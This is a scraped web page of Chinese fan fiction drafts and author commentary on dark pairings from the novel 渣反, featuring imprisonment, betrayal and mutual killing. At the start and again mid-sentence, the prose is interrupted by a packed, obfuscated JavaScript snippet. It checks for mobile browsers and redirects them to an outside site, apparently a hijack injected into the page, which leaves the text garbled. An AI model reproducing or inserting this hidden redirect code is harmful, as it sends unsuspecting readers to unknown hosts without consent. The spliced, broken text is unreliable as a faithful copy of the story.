d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297247|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手将其打翻,一脚将人踹走。期间眼疾手快的将洛冰河头冠上的银簪拔下来,对着自己咽喉:“本尊绝无可能做困兽。” “是嘛。”洛冰河的声音低沉而危险,暗红纹路如蛛网般爬满整座寝殿;空气里浮动着独属于血腥的甜香,他喉间发出意义不明的低笑,天魔印殷红寺血:“可是师尊,人这种东西呢,向来是明知不可为而为之。” “比如您本来就是弟子的,却还敢算计弟子呢。” 沈清秋躺得床铺极其柔软,松软到——即便人猛地栽下去,也毫无声响。 “狗杂种——”沈清秋用右手将身体撑起,苍白的脸皮上全是冷汗。压下咽喉里涌出的血沫,冷声质问:“口口声声说我是你师尊,你就是这样尊师?” “哎。”洛冰河突然闪现在沈清秋一旁,右手轻轻的抚在对方咽喉,力道一点点加重,就在收缩到沈清秋喘不上来气时,瞬间化作轻柔的抚摸:“师尊总说我是杂种和畜生...” 左手揽在沈清秋的腰间,缠绵而粘腻的透过单薄的内衬轻轻揉捏:“怎么偏忘了,即便是最良善的兔子——”猛地翻身而上,将人压在自己身下,笑得开朗明媚:“也会咬人呢。” 番外:想尝试下开双线剧情 这篇文一开始的大纲蛮明确,就是单纯的弟子偶然间‘上’师尊,接着孝心变质开始心有不轨,被发现后黑化压制…… 后面略微展开(好吧就是歪掉了,大纲和写出来的东西永远是不一样的),写偏成了纯甜。弟子的‘想要获得对方喜爱’变成了标准的‘弟子处处服侍’,最后洛弟子也没能拿下沈研究员。 研究几天冰九榜,感觉纯甜有点工业糖精的齁甜,开始思考没有记忆的双方算不算‘冰九’。 当然,这个问题并不是很重要。只要没人骂我(小透明连留言的都少,所以这个应该不至于,毕竟我的三观应该还算正常且普通,不太会犯莫名其妙的禁忌吧),写一堆自娱自乐的零碎应该无所谓。 —— 花开两朵、各表一枝。 想尝试写沈清秋魂穿狂傲水牢-魔族地牢时期,与冰哥对开对打;狂傲九魂穿甜文,被洛冰河小心翼翼的治愈和救赎。 双线并开。 —— 狂傲九一点点软化态度,慢慢褪去身上的尖刺,打开心扉。却在某个时间自曝‘我不是他’,一边谨慎的观察洛冰河的表情,一边又觉得自己偷窃了别人的人生。 与冰哥的经历过于凄惨,狂傲九不觉得自己‘配得上’这样的温情。就像是寒冷之人,即便想靠近火堆,却也惧怕被焰火灼伤。 洛冰河早就察觉到不对劲,出于温情男二的基本修养,一点点将狂傲九的毛理顺,恭敬又强势的回复: ‘您出现在我面前,您就是我的。既然是弟子的,弟子为您赴汤蹈火,都是应该的。’ 狂傲九:‘我是你的?’ 洛冰河:‘只要您是‘沈清秋’,您就是我的。’ 狂傲九:‘大言不惭。你要如何对待被我取代之人?’ 洛冰河:‘您便当弟子痴心妄想,欲享齐人之福。’ 狂傲九:“你可知晓你好兄弟如何做的?”(巧了,那个也说我是他的,只是快被弄死而已) 洛冰河:“所有阻拦弟子的,弟子会一一清算。他令您心情不满,弟子就令他魂飞魄散。” ——另一边—— 冰哥一点点被沈清秋吸引,看着会主动找自己要资源,除了研究外眼里只有理直气壮找他要东西的沈清秋,一边觉得要把对方丢地牢当俘虏,一边又觉得让对方在自己眼皮子底下搁着也不错。 沈清秋沉迷研究不可自拔,即便是身处地牢也无所谓,自顾自的尝试灵魔双修,几次尝试下血脉倒流,近乎濒死。 冰哥原本打算用来折磨敌人的天魔血,最后竟成了沈清秋续命之物,正是因为天魔血不死不灭,沈清秋才敢一次次拿命去实验。 冰哥:……(神TM的有恃无恐啊,你是被爱的那个嘛!) 冰哥强硬将沈清秋拉出实验室,沈清秋拒绝无果,干脆对打。 所以这个循环就是: 沈清秋试验濒死——冰哥为其续命——看不下去要折腾他——沈清秋举剑对打——冰哥继续为其续命——再实验——再打——再续命…… ——收尾—— 狂傲九与洛冰河跨越时空边界,正巧遇见沈清秋与冰哥对打。 沈清秋及几人将冰哥彻底压制。狂傲九有些不好意思,认为自己‘横插一脚’,自己的苦难让别人替自己扛,他却占据他人身份‘享受’。 沈清秋:欺负你的人,已魂飞魄散。 狂傲九:……(还以为会被‘兴师问罪’,却意外水仙?) 沈清秋:你们从何而来,空间裂缝如何制造,稳定度如何评级,定位坐标如何确定? 洛冰河:……(所以说,他亲爱的师尊,脑子里真的只有研究?) 狂傲九:空间裂缝是心魔剑所劈,切口越平整稳定度越高,定位疑似是‘心念所动’,只要有参照之物,即可穿山越海。 沈清秋:如此说来,心魔剑才是关键? 狂傲九:此剑材质与储物袋相似又不同,更像是具有沟通时空节点的传送法阵。 洛冰河:……(所以说,你们才是志同道合的一对,我就是送温情送资源的深情男二?) ———— ———— 之前试过开分支,感觉不是很好写。 enmmmm,没事,对于一个连几万字长篇都写不出来的人来说,那个都不好写。因为都不会写,所以也不存在那个更难(反正都是不会,一元函数和两元三元、二次三次、概率逻辑问题有区别吗) 有能力或者有灵感时候,会尝试一下的。 —— 哇,好棒的构想,老师真厉害 啊……并不,我虽然有设想,但展开有点困难…… 不要紧,有设想就已经很伟大了 啊,你好会安慰人,有你真好 这个后续有点难写,双穿双线对我来说有点困难……所以想了想,还是先写甜文吧,写一下满是疑心病的九被甜文男主洛冰河‘治愈’‘救赎’的过程,再写一下洛冰河被沈清秋不信任所引发的一些矛盾,算是很小清新的‘甜饼’ 番外:绝不伪装的双恶人 写一下为什么我会磕冰哥X九哥,以及为什么疯狂喜欢这种绝不伪装的双恶人,为什么会疯狂迷恋永不妥协的九。 这篇大概要断更一些时间,虽然九和冰哥的人设我个人感觉把握的还可以(自卖自夸一下),但毕竟后续剧情是架空的,需要花费比较多的时间去研究和构思。 嗯……比不得大佬一章四五千字、连更几十章,我个人连写个十万都极为艰难…… 当代年轻人,哪里跌倒就哪里躺下,只要我认怂的快,就没有一件事能难倒我! ——前言预警—— 重生冰妹X九哥 设定为走到结局之后,冰妹质问九为什么始终暖不热,九哪怕修为尽失被囚禁也依旧强硬。 毕竟冰哥会直接对打或强压,是不太会发生写一大堆对话这种存在的。 对渣反不友好,对沈垣更不友好,慎看。 ——正文—— 冰妹:沈清秋,你的心是铁做的吗,为什么始终暖不热?我一腔真心奉上,你却偏要打碎? 九哥:得了吧,你想要的从来不是我,是那个占了别人壳子还卖乖的孤魂野鬼! 冰妹:或许之前是,但我为什么不能呢?他会拥我入怀,会替我抗伤,会说‘我保护你’,会冒天下之大不韪与我携手。这样的‘师尊’,谁不想要? 九哥:那你何必与我纠缠?大不了你将我灵魂灭杀,将人招过来就是。莫不是还指望我成为他,变成你想要的‘替身’不成? 冰妹:可是我亦一腔热血赠予你,你为什么不仅不肯要,甚至还连番羞辱,将它踩碎成泥?另一个我被你逼成冷血无情的疯子,你便是也要我成为那样? 九哥:世界如何待我,我便如何待他。我从未改变,是你想要的太多。 冰妹:你既然是被欺压的受害者,却为何又成为另一个故事的加害者?你曾将秋家少爷杀死,殊不知自己也会落得如此下场? 九哥:正因为我了解,所以当我失败的时候,我从不后悔。世道就是这样,既然落败,何须解释?只是洛冰河,一人做事一人当,有什么报复冲我来,你不该因此伤及无辜,连累众生。 冰妹:你就是故意的,故意将我逼成这等模样,恶意的想看我像你一样痛苦,执着的想让旁人再现你受过的苦,然后再叹一句‘世界就是如此糟糕’! 九哥:这世道本就如此,你我当下情景不正是说明了这点? 冰妹:那是因为你始终将所有人都当成会伤害与你的恶人,你从不曾对其他人还有善意,却要求其他人对你回馈以温暖? 九哥:你怎知我从不曾主动付出善意?每一次付出都会被辜负,每一次期待都会得到失望,既然如此,我又何必对他人抱有幻想? 冰妹:你还是怕的不是吗?要不然怎么会这么在意其他人用你的一切打出HE结局,却始终无人肯来找寻于你?这些不都证明同样的硬件换一个灵魂却能全部改变吗? 所以你做的这一切,除了证明你做人之失败,还能证明些什么?而你与他的最大区别不就是他愿意向外界展露温情,而你却孤僻的拒绝一切、隔绝一切? 九哥:那又如何?即便是世间再无人记得我,我亦存在于此;即便是世人都认定他为‘沈清秋’,我亦会与他争夺或毁灭;即便是所有人都站在他的身后,我亦会举剑拼杀,赌上一切! 冰妹:为何你会如此极端?你分明可以试着相信一下旁人,信任一下我啊!我一直用真心待你,你却为何永远看不见? 九哥:那是因为你曾得到过!你在旁人身上得到过毫无保留、被人在意的爱意,所以才知晓如何付出爱,如何成全爱,如何保护想保护之人! 从来没有的东西如何给人,从未得到的事物怎么分享?我仅剩的情感只支持我去恨、去拼、去抢,这样的我,你让我如何去‘相信’与‘信赖’? 既然没办法给出别人想要的东西,不如努力修炼,当我拥有柳清歌那样能弹压世界的力量后,那个不长眼的敢在我面前惹不愉快? 冰妹:所以你与冰哥一样,不曾得到过,但又希望旁人的理解。所以费尽心机将其他人拉入自己的泥潭,想通过旁人对方的挣扎来获取自己也说不明白的解答,或者静静的等待来自另一个自己的杀戮? 可这样子,除了再次重复另一个悲剧,又能获得什么?而你们心心念念的修为,真的能解决一切事情? 九哥:恶的种子怎么可能开出纯洁的花,泥潭里怎么会存在真正出淤泥而不染的白莲。既然都是深渊里爬出来的恶鬼,你居然还希望有人能为你专门投注阳光? 该说你天真呢,还是该说你可笑。该死的幸运眷顾了你,所以你真的相信童话。 在那个故事里,即便修真界没有被毁坏,可是其他人依旧容你不得吧?即便苍穹山与‘沈清秋’明面上割裂,也做不得修真界的主了吧? 出了那样一个通魔的叛徒,修真界之人即便笑着见你俩,私底下的传言却根本压不住吧?魔族呢?那些听不懂人话的畜牲们,不知道又要花费你多少的精力才能去镇压? 当然了,你那么紧张另一个‘沈清秋’,可你敢在他面前暴露出你的残暴与仇恨吗?你敢在他的面前打杀曾经得罪过你的敌人吗?你敢让他知道你都是如何严刑逼供、夺取灵宝的吗? 哦对了,我还真不信这世间能有真正纯白之人。所以说,那个‘沈清秋’把玩你烧杀抢掠来的灵物,与你探讨世间奇景时,你猜他究竟知不知道这些东西染了多少人的鲜血? 而那些当时被放过的敌人们,那个‘沈清秋’,应该是再也没有第二次见过他们吧?那你说,他究竟有没有想过,为什么那些人就那样消失于他的视野? 生活可不是美好又单薄的话本子,你猜他午夜梦回的时候,究竟会不会感到冤魂之人带来的恶寒,想不想避开你的拥抱,想方设法逃离你这个黑心肠的玩意? 冰妹:够了!不准你这样说他! 九哥:你早就知道他不是好人吧?从你一开始发现对方是夺舍者的时候,从他只关心你而忽视其他弟子的时候,从他莫名其妙突然看重你而作出完全不符合常理动作的时候…… 那你猜猜,他对你的好,究竟是他想要对你好,还是有什么东西在逼迫他对你好?如果说这一切都出自本心,你骗得了自己,骗得了本能吗? 那你怕不怕,那个要求他对你好的东西,突然有一天要求他杀了你,或者重新对其他人比你更好呢? 冰妹:师尊当然是真心的,他为我抗伤、为我中毒、为我与苍穹山决裂,都是真心的! 九哥:啊。那他敢不敢恢复自己的样貌,说出自己的名字,顺便再问一下,既然都是‘洛冰河’,为何他这么喜欢被调教成狗的你,而不喜欢会将他撕裂的冰哥呢? 欺善怕恶是人的本能,当他看见冰哥就跑时,你心里应该笑的极为开心吧?那你有没有想过,如果有朝一日他看见你就跑…… 冰妹:别说了! 九哥:对哦,这件事发生过的。他明明那么喜欢你,为了你连修为都不要了,可还是会脱离你的掌控,甚至不惜假死,也要远离陷入癫狂的你呢。 可怜某个杂种抱着对方的躯体守了那么多年,不知被多少人骂做‘有病’和‘恋尸’,原本的满腔怨恨全部化为愧疚,最后竟然只能哭着求对方‘别离开’。 多可怜啊,多悲惨啊,多无力啊。 你舍弃一切,只为了求对方不要抛弃你。 所以你洗脑自己,闭上眼睛不去看;捂住耳朵不去听;放纵自己沉沦于童话般的梦境,不去细究其中那么明显的破绽。 洛冰河,你可真可悲啊。 冰妹:至少我曾经得到过!而且我也将师尊揽在怀里,我们相亲相爱、携手白头! 九哥:那你们可真棒呢。一样的虚伪无赖,一样的得了便宜还卖乖,一样拥有着该死的幸运、所以肆意散发着恋爱的酸腐气。我是不是该给你们鼓个掌? 冰妹:沈清秋!你是不是平静日子过多了,想让我将冰哥喊过来折腾你? 九哥:某种意义上,你还不如他。他起码知道自己的目的是建功立业、一统天下(三界)。 你呢?你为了‘爱’可真放弃了不少。结果那个人却连最基础的名字与长相都不敢告诉你,用着我的皮囊与名字,强行修正下意识的小动作,将自己变成‘沈清秋’的模样—— 我还只是披个‘儒雅正道’的壳子,他却将‘沈清秋’的人设与外貌刻入骨髓。 啊,对了。你不也是吗?披着乖巧懂事的外壳,下手可一点也不轻啊。 还真是……什么样的人养出什么样的弟子,一点不错。 冰妹:你该庆幸他愿意用你的身躯,要不是这张脸,你早就死了。 九哥:若不是这张脸和这副身躯,你会为他要死要活?人都是视觉动物,若真爱着灵魂,怎么不给他重新捏个独属于他的身躯?占了我的东西还说三道四,拿起碗吃饭、放下碗骂娘,说的就是你们这种不要脸的。 冰妹:那就让另一个‘我’来好好教教你规矩。 九哥:起码我从不遮掩自己的恶,也从不会为自己的决定而要求悔棋。所谓落子无悔、成王败寇,无非就是一条命罢了。 按理说,这副身躯你们想要,那就该留给你们争抢,干脆利落、一了百了。只是我的东西向来不喜欢赠给别人,所以我得不到就干脆毁灭,反正你们都觉得我如此恶毒,想必也不会扒着我的东西不放吧? 哪有人一边嫌弃着对方,一边却又将一切拢在手里,嘴上还骂骂咧咧的? 当真恶心极了。 ———— ——碎碎念—— 我个人其实很少写冰妹,一个是不太能写出来这种为爱成魔的人设,另一个是…… 冰妹在渣反里确确实实受到了〈沈九对他的不喜〉和〈沈垣对他的温柔〉,稍微换位思考一下就知道沈垣对他比沈九要更好一些,所以冰妹会选择沈垣我觉得是很正常的事情。 既然沈垣和冰妹是一对,我个人也不怎么喜欢这种人设,所以一般也不太写。 只是吧,冰哥与沈九之间的过往实在太少了,而且怎么样都绕不开‘冰妹’这个存在,所以有时候会偶尔写一下……只是ooc的可能性很大…… ———— 行吧,我的XP果然是纯恨和双杀。 所以冰哥X九哥更符合我的爱好。 这篇的立意就是双恶人、双算计、双恨、双杀,而冰妹这种女频甜文里的存在,其实是不太符合‘残忍修真界’的定位的。 写这个的原因,一个是最近重刷渣反后有一点点感触,另一个是再次确定一下立意—— 我们(冰哥、九哥)都是恶人,是淤泥里爬出来的恶鬼,学着一点点将身上的泥土洗干净,披上一层‘人皮’。 我们会为了目的而伪装,更会毫不掩饰的暴露自己的野心与恶劣,那些所谓的怀柔与温和对他们根本不起作用,唯有强权和鲜血,才是大家的追求。 我知道你有多残暴,你也知道我有多坏;我见过你对待俘虏的各式折辱,你也知道我为了自救会拉多少人下水;我明白你坐上至尊位的孤独,你也清楚我为了达到现在的修为燃尽满手的鲜血。 比起另一个世界的粉红泡沫,这里充满了猩红的铁锈味液体和一眼望不到尽头的残肢—— 可这样的地方,才是真正培养我们的、适合我们的、让我们能自由呼吸和展露肮脏内在的,真实世界啊。 我们虐杀过敌人与不懂眼色的家伙,瓜分着独属于最强者的战利品;我们品尝过强势与强权的滋味,饱饮着属于下位者的膏粱。 就像是开了荤的野兽无法戒掉血肉的鲜美,生长于野外的猛虎无法被关押在城市的动物园—— 他们这样的人啊,是没办法忍受虚假的平和,接受他人带着算计的微笑,饮下或许带着毒、但更大可能什么也没有的美酒。 信任?没问题,只要你比我弱,我随时能捏死你的性命,自然是可以的。 交付后背?说什么笑话呢,老老实实站在后面别捅刀,我会将敌人都杀死。 想要回报?当然可以,给我干活就要付出工资,想要什么随便挑。不满意?那就去死。 ——碎碎念—— 啊,果然是男频看多了。一不小心就是打打杀杀,各种争权夺利啊。 简略后续 洛冰河做梦,满足内心幻想。 本以为遥不可及的东西,结果却在某时被实现了。 而且,他以为会被狠狠揍一顿的‘请求’,对方居然也‘同意’了。 沈清秋:挑挑拣拣,最后手腕带了一个拥有洛冰河气息的手环,走路会响。 被束缚的禁忌感拉满。 沈清秋去药店遛弯,又去拍卖会寻找,没有找到魔族能医治“走火入魔”的灵药,却意外发现空间裂缝。 打斗、逃离,被困。 洛冰河:我就知道,你不作不是你! 沈清秋:有机会肯定要跑啊,结果这‘疗伤圣药’,居然是魔族的血?这就不好搞了。 不过,洛冰河的血,能不能用?如果能,可以考虑将人拐走。 双方互算计: 洛冰河:我都付出那么多,一定要将人捆在自己身边。 沈清秋:他的血是个好东西,需要将人拐走当材料库。 关于自家师尊陪自己出门这件事,洛冰河精心准备了很多。 沈清秋应该——内敛而沉默。 只是现在——情绪不稳定,张扬而尖锐,锋芒毕露。 考虑到沈清秋的特殊身份,洛冰河极为认真的挑选隔绝气息、阻拦其他人探究身份的帽子和袍子。细致的挑选出银白色短链,怀着极为隐秘的心思,将自己的名字刻于其中。 愿结同心锁,白首不分离。 他好好的保存着师尊赐下的物品,而今,他最敬仰的人,也总于要戴上拥有他痕迹的零零碎碎,怎么不让人心动? ———— 他听到无数失败者的所发出的‘为什么’,亦看见无人知晓的角落里,孤独死去的身影。 虽说不清楚原因,沈清秋却本能的知晓,那是由于洛冰河。 ———— 这种感觉很玄妙,就像是一瞬间进入时间与空间的交点,时刻与时光的河流。沈清秋的眼里涌现出无数的0与1,化为数据海洋,将他一举淹没。 如果他们的人生是选择题,每一次不同的选择会衍生出不同的分支,分支之后又会出现更加细密的空间节点—— 那么他将拥有一整棵枝繁叶茂的苍天巨树。 而在这棵由选择与分支构成的生命之树上,略微一丢丢的偏差都将造成相差极远的结果。 沈清秋只是偶然的一瞥,便看到无数的可能性,亦看到无数或成功或失败的自己。无数的时间线于起点散出,终究成为无数各自独立的世界线。 在那些世界线中,存在诸多的枝干与可能性。 比如沈清秋并没有与柳清歌争夺弟子,所以他与洛冰河互不相识; 比如沈清秋将洛冰河当成普通弟子,所以他们的关系极为平淡疏离; 比如沈清秋于灵犀洞中将柳清歌救下,修真界与魔族的战场上便多了一份筹码; 比如沈清秋并未被魔尊俘虏,而是放任了洛冰河的回归,继而被内部突破…… 这些可能正在上演的‘未来’具化为一根根因果线,穿插在‘沈清秋’与‘洛冰河’之间,编织为细细密密的网。 沈清秋的人生总会在某些时刻与‘洛冰河’重合,又会在某些时刻与对方纠缠不休,互杀互恨。 占尽天时地利人和的洛冰河总能成就魔族至尊位,又总是能在仙魔两界的战斗中取胜,真正登上三界之主的宝座。 他听到无数失败者的所发出的‘为什么’,亦看见无人知晓的角落里,孤独死去的身影。 虽说不清楚原因,沈清秋却本能的知晓,那是由于洛冰河。 当无数的世界线被一人拿捏在手时,基于手心的温度,会将所有世界线收束。而那些或真实存在、或虚拟映射的故事里,‘沈清秋’始终游走在故事的边缘。 那些是他,却又不是他。 那些恩怨情仇、曲终人散的故事里,确实存在着他的身影—— 只是对比于当下的他,无数可能性的‘他’,却是万千可能性的虚无。 ‘虚无’是没有意义的。 无即没有,既然没有,又有何意义? 可虚无缥缈的‘存在’,本就是一种意义。 我思,故我在。 所有的故事线里,每个‘沈清秋’都是真实;而每一个不曾发生的‘沈清秋’又都是虚假。 真与假、实与虚就这样萦绕于沈清秋身边,交叠为无数的阴影。 这世间究竟存在多少个‘我’? 每一个作出决定的‘我’,到底又能分化出多少的支线? 此刻的‘我’与上一刻的‘我’是否为同一人,作出a选择的‘我’又与选择b的‘我’有什么区别? 最终因一开始的选择而导致不同结果的‘我’,究竟算不算‘同一个人’? 若是选择a所造成当前的结局,那么尚未发生的“选择b的后续开展”,算不算被时间线放弃了的“假设”? 这些零零碎碎的疑惑浮上沈清秋的心头,唯物与唯心的争论涌现在脑海之中。 ‘平行世界’究竟是否存在,‘芥子空间’内部是否为世界,这些无法被证实为真、亦不能评定为假的东西填充于他的眼中,最后被黝黑的眼珠压入浓重如深海的眸子里。 这些数据流,就像是猛然出现的bug,好好利用之下,必然能带来其他人不想发生的事情。 世界的真相是什么,他们的故事又由谁敲定,气运和时间点的确定,又由何评定? 沈清秋轻轻的闭上眼睛,掩住数据流异变出的蓝色——与常规的黑色瞳孔相比,血色令人想到‘走火入魔’,蓝色,却是绝对的异类。 无论他看见了什么,明白了什么,疑惑了什么,思考了什么。现在最重要的只有一点—— 无论关于‘沈清秋’的故事有多少种开展,当前发生的一切,才是真实的、可敲定的、唯一的、身处其中的,故事线。 那些可能存在的、由蓝白组成的、遍布0与1的数据化为萤火般的碎片,漂浮在沈清秋的眼前。 沈清秋伸手抓住这些星光点点,将他们握在掌心。 大千世界,万万种发展。 身处当前世界的他,是最‘独特’的。 每个人都是独特的。 可拥有‘他自己’的他,是最独特的。 本不该存在的时空缝隙中,眼前是他亲手搭建的竹屋,身后是魔族无止境的追杀。 为他阻拦众人的,是他完全没在意、却真真切切与他纠缠极深的‘弟子’。 而那个数个世界线中都与他渊源极深的家伙,却带着明显不符合其他世界线的天真温柔,满眼期待的看着他。 洛冰河眼中的希冀与拜师初见一样,都是脆弱又小心,真挚又敏感。 “师尊……别丢下我。” 只是—— 那又如何? 即便无数个‘沈清秋’都因洛冰河落得个凄惨零落的下场,沈清秋依旧不可能为了结局的HE而改变自身行为。 一如无尽深渊之时,洛冰河脸上生出罪恶的纹印,沈清秋毫不犹豫的将他一脚踹下。 此刻的沈清秋,亦是从未回头、毫不停留的一脚踏出。 随着青色衣衫跨越地界的边缘,遗留下的时空裂缝瞬间破碎,连浮尘,都不曾留下。 ‘他又被抛弃了。’ 洛冰河的心中生出无尽的失望与绝望。这些情感如同细细密密的小针,将他的心扎得千疮百孔。 这段日子与沈清秋的相处,美好的就像是一场梦。现在,梦醒了,他又要面对冰冷的现实了。 其实—— 当沈清秋提出要求的时候,洛冰河本可以拒绝,或者找无数理由将对方出门的日子无限期向后延伸的。 洛冰河明知沈清秋必然有鬼,却还是放任他出门。其本质,亦是想赌一把。 他想赌沈清秋会因为他的照顾而生出‘留在魔界’的念头; 他想赌暴露于人前的沈清秋终于能认清自己的身份; 他想赌沈清秋就算是想要离开,也会带他走…… 甚至说,洛冰河的心中还隐隐有着期盼: 或许,他师尊真的是单纯想与他出去玩呢? 或许,是他的诚心终于打动对方,他师尊想与他携手购置物品呢? 或许,高悬于半空的月亮看中了他的诚心,愿意为他而来,躺在他的手心呢? 可惜,事实永远是残酷且冰冷的。 无论是怎么样的猜测与展现,现在的一切都在表明一个洛冰河早就明白,却从不肯直视的事实: 沈清秋的心中,从来没有他。 49.黑化岳七+被囚禁的沈九 〈黑化七九〉 脑洞设想:黑化岳七+被囚禁的沈九 黑化、白切黑、疯癫、疯批向。 朋友跟我说了篇《寂寞梧桐深院锁清秋》,我个人看了一点,不太习惯。 主线如下: ———— ———— 首先,两少年相遇,九为七杀师。 ———— 无厌子:“大家门派的弟子,一个个都富得流油。哪里懂得散修的苦?” 九:“师尊说得对。” 无厌子:“待我杀掉那些弟子,带你去xx秘境,寻机缘。” 九:说是寻机缘,实际上却是找苦力罢了。算了,本就无甚归处,何处不能去? ——杀师—— 九(看着满手血):岳七,哈哈,岳七…… 岳七,你抛弃过我一次,我却一直守在秋府等你回来。 我以为你死了,原来是另谋高就了。 可是,为什么我还会为你犯上杀人? 七(有心机,但不多):小九……是我对不起你,你愿不愿意跟我走? 你师尊不是什么好人,苍穹山是正道大派,我求师尊为你寻个内门名额,我们一同修炼…… 九(心态不稳定):跟你走?去哪?给你再次抛下我的机会? 七(诚恳、认真):不会,我再也不会丢下你 九(疯癫):我信你个鬼!你若是死了,我倒是信你的谎话!你为什么不死,为什么没有死在路上? 七(酸涩、内疚):我当时,是不得已 九(疯癫,质问):不得已?那你为什么不死?既然没死,为什么不回来? 是攀上高枝,急于甩脱腿上的泥点子吧! ———— 开启互打互杀。 九疯狂砍杀,七退步防守。 最终九的‘野路子’比不过七,晕眩。 ———— 接着九被七圈养在后院,开弟子线 ———— 如果按正常流程,被圈养的九,是不可能获得‘清静峰峰主’之位的。 所以,做一个黑暗点的假设。 因为岳七登上了掌门之位,所以沈九被“赐予”清静峰峰主之位。 再暗黑点——如果历朝历代,清静峰,本就是穹顶峰的,后花园呢? ———— 众人皆知,清静峰峰主身体不好,常年静养。就连十二峰一起上位,都不曾现身。 其他人纵说纷纭。 所有拜入清静峰的弟子,都由穹顶峰一并教养,享受主峰待遇 于是。清静峰,由于是穹顶峰附属的原因,一直,位居第二大峰。(参考上海后花园) 直到某一天,某个清静峰弟子,误入掌门后院,看到一位极美的仙人。 而这个仙人—— 与清静峰之主的相貌,几乎一模一样。 原来……历来的清静峰峰主,全都“体弱多病”。说是“以文载道”,实际上,却全部“久居深山”“静心养病”。 ——开囚禁逃亡线—— 弟子:一位,沉睡的、苍白的、被囚禁的美人? 首先是震惊,其次是怀疑, 接着为自己小命打颤……(他真的,能活着出去吗?) 被囚禁九:误入?还是刻意放入? 因为在九心理,七不可能随便放人进来,那么就是刻意的。 故意放一个单纯无知的孩子,试图让九感动、心动、多说话之类的(参考童话故事。所有远离人群的家伙,几乎都会被‘傻白甜’所吸引) 九(冷漠):既然你师傅都不在乎你的性命,那就把命留下 弟子仓皇逃出,成为深井冰 众人:听说了吗,xx成疯子了! 疯子开始闹事,闹大 七镇压 疯子的家族介入 疯子某刻‘惊醒’,揭穿七的后院里有个‘危险存在’ 众人施压:正道魁首,暗地里却圈养魔族之人,之物? 七:只是金屋藏娇罢了,个人爱好 众人:不信,并且再次施压 七:穹顶峰与清静峰那点子事,大家不都懂? 众人威逼,开始揭露真相(清静峰本就是穹顶峰后花园) 九借机逃出 ———— 开互杀线 ———— 很好,甭管是写冰九、柳九、七九。 到最后的归宿,都是互杀(狗头)。 没办法,以沈九的性子来说,这就是个一言不合就不爽,不爽就不理人或者干脆开打的家伙。 而如果对方试图以武力压制,那就可以直接开互打互杀线了。。。 哎,看得出来,我可真是个,不热爱和平的人…… 整理好章节: 第一章:犯上杀师 第二章:岳七这种白月光,只适合早早死去 第三章:白皮黑馅糯米团 第四章:他错过的,不仅仅是良师,还有益友 第五章:被遗忘的,怎么不算‘死去’? 第六章:清静峰之主?一个好听的‘项链’ 第七章:被害妄想症?不,是杀伤无力 第八章:善与恶的界限,正直与黑化的边缘 第九章:逃亡之路,才是新生 —————— 黑化七九预设及分析 九这种别扭(傲娇又自厌)的性子,单纯说出真相他不屑一顾,不说又会郁结于心;心中的问询不会张口,心中的期待也不会表露。所以最后要么强制爱,要么强制恨,很难能‘主动’。 七九是充满了遗憾、误解、过往、纠缠、义薄云天却被人辜负、不抱期待却以命赴约。 这样的故事里,走正常亲情向有点难(主要是渣反中,七从不曾说一句‘小九,你好像性格有点’。连一直与九不对付的柳和其他人都能看出来的不同,本该最亲近的七却没问过,所以我不会写他们亲情向) 还是走黑化吧。 ———— 七和九之间最大的原因,就是两点 第一个,当初没来赴约。 想要解决这一点,就要考虑当初的真相 我觉得光一个‘走火入魔被关押’其实并不算行 岳七不可能一开始就获得峰主喜欢,他肯定有成为弟子、有些实力的时候 所以可以加个设定: 虽然我已经练气、筑基,但是我想以更高的姿态去面对九,以更强的实力、更周密的计划去将人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303920|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带出来! 或者干脆可以加一个“秋府本就有筑基坐镇”的设定,练气的岳七打不过,所以必须要筑基。可是因为太过于心急,反而走火入魔 那如果是这样的话,九的根骨就不是“被毁”,而是人丹之类的存在 以自己的资质去弥补秋府筑基,资质全废,险些死亡。 结果筑基出了问题(比如九给自己下毒之类)趁机火烧秋家,逃出生天 所以矛盾就是,七想更稳妥,九因为七的‘拖延’而武功全废 第二个矛盾,九误杀柳,七没有站出来,或者说他“表示了不信任” 假设九此时已经被七囚禁,因为灵犀洞本就在苍穹那边,是岳七管辖范围 九偷溜,误入柳那边,柳以为九“这么久不出现,一出现就在自己洞府,必然是想刺杀他” 双方互打,九胜利 七出来主事,其他人质疑:你们关系太近了,谁知道你会不会徇私? 这就是矛盾点了 如果七为了“避嫌”或者“下重手”,九与七就没可能HE 所以七应该是压下一切反对,用看似严重,其实不痛不痒的惩罚将此事截过 但是肯定有其他人不满意啊 所以有人(炮灰名字再说)故意给九:七可是下了重手,就为了避嫌呐,名头极大、责罚极重 毕竟七设下的名头确实唬人啊, 所以九:又一次,这次是为了他的掌权之位,舍弃我 矛盾更深,误解更重 为了避嫌,七白天没去看 晚上悄悄咪咪找九:小九,怎么样 九:掌门亲自下令,是来看沈某笑话? 七:…… 九:既然看过了,就走吧 如果这时候是冰,那就该回“下次还敢跑吗?” 只是这时候是七的话,应该是:“如果你好好待在xx的话……” 九炸毛:“你软禁劳资,还让劳资不要跑? 如果是冰,那就是“不反抗,柳就不会死” 九:“所以你也信是我杀了他?!” 第二个矛盾点就出来了 第一次是被抛弃,第二次是不被信任 BE气息拉满 而且这两个也非常好解决 第1个就直白的说,因为我想让计划更妥妥善一点,我想把你揪出来,所以时间拉长了,但是我不知道它里面居然这么危险 然后第2个的话就直接说,我就是拿了一些高高拿起轻轻放下的罪名,却没想到你会误解成这样 真诚才是必杀技 而且他们之间虽然有误解,有矛盾,但终归不是冰九那样灭门的惨案,是可以‘化解’的。 这样想一想,是能打出HE结局的。 ———— 